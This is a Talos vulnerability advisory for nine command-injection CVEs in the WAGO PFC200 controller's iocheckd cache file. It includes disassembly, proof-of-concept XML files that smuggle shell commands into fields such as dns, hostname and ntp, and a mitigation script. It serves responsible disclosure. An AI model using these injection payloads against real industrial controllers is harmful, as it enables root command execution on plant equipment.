Talos Vulnerability Report

TALOS-2019-0962

WAGO PFC200 iocheckd service "I/O-Check" cache Multiple Command Injection Vulnerabilities

March 9, 2020
CVE Number

CVE-2019-5167, CVE-2019-5168, CVE-2019-5169, CVE-2019-5170, CVE-2019-5171, CVE-2019-5172, CVE-2019-5173, CVE-2019-5174, CVE-2019-5175

Summary

An exploitable command injection vulnerability exists in the iocheckd service “I/O-Check” function of the WAGO PFC 200. A specially crafted XML cache file written to a specific location on the device can be used to inject OS commands. An attacker can send a specially crafted packet to trigger the parsing of this cache file.

Tested Versions

WAGO PFC200 Firmware version 03.02.02(14)

Product URLs

https://www.wago.com/us/pfc200

CVSSv3 Score

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

The WAGO PFC200 Controller is one of WAGO’s programmable automation controllers that boasts high cybersecurity standards by including VPN, SSL and firewall software. WAGO controllers are used in many industries including automotive, rail, power engineering, manufacturing, and building management. The WAGO PFC200 Controller communicates via both standard and custom protocols.

The iocheckd service “I/O-Check” implements a custom configuration protocol used by WAGO controllers. The iocheckd service “I/O-Check” functionality of WAGO PFC 200 uses a file-backed cache to perform some network configuration functionality. The file used for the cache is stored at /tmp/iocheckCache.xml which is globally writeable. During parsing of the iocheckCache.xml file, each parameter can be used to inject OS commands which will be run as the root user. The result is privilege escalation as any user can write this file and execute commands that will be run as the root user.

To exercise this vulnerability, the attacker must place the malicious xml file at /tmp/iocheckCache.xml. All users have write access for /tmp and can write this file. The vulnerability can be triggered by sending the BC_SaveParameter message which will cause the iocheckCache.xml file to be parsed.

The vulnerable code exists for each node extracted from the iocheckCache.xml file. The following example shows the vulnerable code path for the hostname parameter. The code paths for other vulnerable nodes are similar to this one:

.text:0001E478                 MOV             R0, cur_node
.text:0001E47C                 BL              xmlNodeGetContent
.text:0001E480                 MOV             R1, R4
.text:0001E484                 MOV             R7, R0 ; R7 contains xml node contents 
...
.text:0001EAF8                 MOV             R1, #0x26B4 
.text:0001EAFC                 LDR             R0, [cur_node,#8]
.text:0001EB00                 MOVT            R1, #2 ; Comparing to string `hostname`
.text:0001EB04                 BL              xmlStrcmp
.text:0001EB08                 CMP             R0, #0
.text:0001EB0C                 STREQ           R7, [SP,#0x868+var_84C] ; store xml contents in `var_84c`
.text:0001EB10                 BEQ             loc_1E460
...
.text:0001E85C                 LDR             R3, [SP,#0x868+var_84C] ; `var_84c` contains xml contents of `hostname` node
.text:0001E860                 CMP             R3, #0
.text:0001E864                 BEQ             loc_1E888
.text:0001E868                 ADD             R5, SP, #0x440
.text:0001E86C                 MOV             R2, R3 ; src - contents of `hostname` node
.text:0001E870                 MOV             R1, #aEtcConfigTools_14 ; format - `/etc/config-tools/change_hostname hostname=%s`
.text:0001E878                 MOV             R0, R5  ; dest
.text:0001E87C                 BL              sprintf
.text:0001E880                 MOV             R0, R5  ; cmd to be executed via `system()`
.text:0001E884                 BL              _callConfigTool ; executes command via `system()`

CVE-2019-5167 - dns

At 0x1e3f0 the extracted dns value from the xml file is used as an argument to /etc/config-tools/edit_dns_server %s dns-server-nr=%d dns-server-name=<contents of dns node> using sprintf(). This command is later executed via a call to system(). This is done in a loop and there is no limit to how many dns entries will be parsed from the xml file.

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <dns>8.8.4.4; echo $(whoami) > /tmp/iocheckcache_dns1_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns2_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns3_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns4_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns5_command_injection</dns>
    <dns>8.8.4.4; echo $(whoami) > /tmp/iocheckcache_dns6_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns7_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns8_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns9_command_injection</dns>
    <dns>8.8.8.8; echo $(whoami) > /tmp/iocheckcache_dns10_command_injection</dns>
</network>
</settings>

CVE-2019-5168 - domainname

At 0x1e8a8 the extracted domainname value from the xml file is used as an argument to /etc/config-tools/edit_dns_server domain-name=<contents of domainname node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <domainname>wago-devices.net; echo $(whoami) > /tmp/iocheckcache_domainname_command_injection</domainname>
</network>
</settings>

CVE-2019-5169 - gateway

At 0x1e900 the extracted gateway value from the xml file is used as an argument to /etc/config-tools/config_default_gateway number=0 state=enabled value=<contents of gateway node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <gateway>192.168.1.1; echo $(whoami) > /tmp/iocheckcache_gateway_command_injection</gateway>
</network>
</settings>

CVE-2019-5170 - hostname

At 0x1e87c the extracted hostname value from the xml file is used as an argument to /etc/config-tools/change_hostname hostname=<contents of hostname node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <hostname>PFC200-4419EC; echo $(whoami) > /tmp/iocheckcache_hostname_command_injection</hostname>
</network>
</settings>

CVE-2019-5171 - ip

At 0x1ea48 the extracted hostname value from the xml file is used as an argument to /etc/config-tools/config_interfaces interface=X1 state=enabled ip-address=<contents of ip node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <interfaces>
    <X1>
        <ip>192.168.1.30; echo $(whoami) > /tmp/iocheckcache_ip_command_injection</ip>
    </X1>
    </interfaces>
</network>
</settings>

CVE-2019-5172 - ntp

At 0x1e840 the extracted ntp value from the xml file is used as an argument to /etc/config-tools/config_sntp time-server-%d=<contents of ntp node> using sprintf(). This command is later executed via a call to system(). This is done in a loop and there is no limit to how many ntp entries will be parsed from the xml file.

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp1_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp2_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp3_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp4_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp5_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp6_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp7_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp8_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp9_command_injection</ntp>
    <ntp>216.239.35.0; echo $(whoami) > /tmp/iocheckcache_ntp10_command_injection</ntp>
</network>
</settings>

CVE-2019-5173 - state

At 0x1e9fc the extracted state value from the xml file is used as an argument to /etc/config-tools/config_interfaces interface=X1 state=<contents of state node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <interfaces>
    <X1>
        <state>enabled; echo $(whoami) > /tmp/iocheckcache_state_command_injection</state>
    </X1>
    </interfaces>
</network>
</settings>

CVE-2019-5174 - subnetmask

At 0x1e9fc the extracted subnetmask value from the xml file is used as an argument to /etc/config-tools/config_interfaces interface=X1 state=enabled subnet-mask=<contents of subnetmask node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <interfaces>
    <X1>
        <subnetmask>255.255.255.0; echo $(whoami) > /tmp/iocheckcache_subnetmask_command_injection</subnetmask>
    </X1>
    </interfaces>
</network>
</settings>

CVE-2019-5175 - type

At 0x1ea28 the extracted type value from the xml file is used as an argument to /etc/config-tools/config_interfaces interface=X1 state=enabled config-type=<contents of type node> using sprintf(). This command is later executed via a call to system().

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <interfaces>
    <X1>
        <type>static; echo $(whoami) > /tmp/iocheckcache_type_command_injection</type>
    </X1>
    </interfaces>
</network>
</settings>

Mitigation

  • This vulnerability could be mitigated by disabling the iocheckd service “I/O-Check” via the Web-based management web application.
  • This vulnerability could be mitigated by disabling iocheckd caching

      #Author : Kelly Leuschner, Cisco Talos
      import argparse, socket
    
      if __name__=="__main__":
    
          parser = argparse.ArgumentParser(description="Disable iocheckd Caching on WAGO PFC200 via iocheckd:RC_WriteRegister")
          parser.add_argument('ipAddr', help='ip address of PLC')
          parser.add_argument('port', type = int, help='Service protocol port number (6626)')
          args = parser.parse_args()
    
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((args.ipAddr, args.port))
    
          print("Sending RC_WriteRegister message to disable iocheckd caching")
          s.send(b'\x88\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x02\x04\x00\x00\x00\x00\n\x00\x0b\x00\x00\x00')
          s.recv(1024)
          s.close()
    

Timeline

2019-12-05 - Vendor Disclosure
2020-01-28 - Talos discussion about vulnerabilities with Vendor; disclosure deadline extended
2020-03-09 - Public Release

Credit

Discovered by Kelly Leuschner of Cisco Talos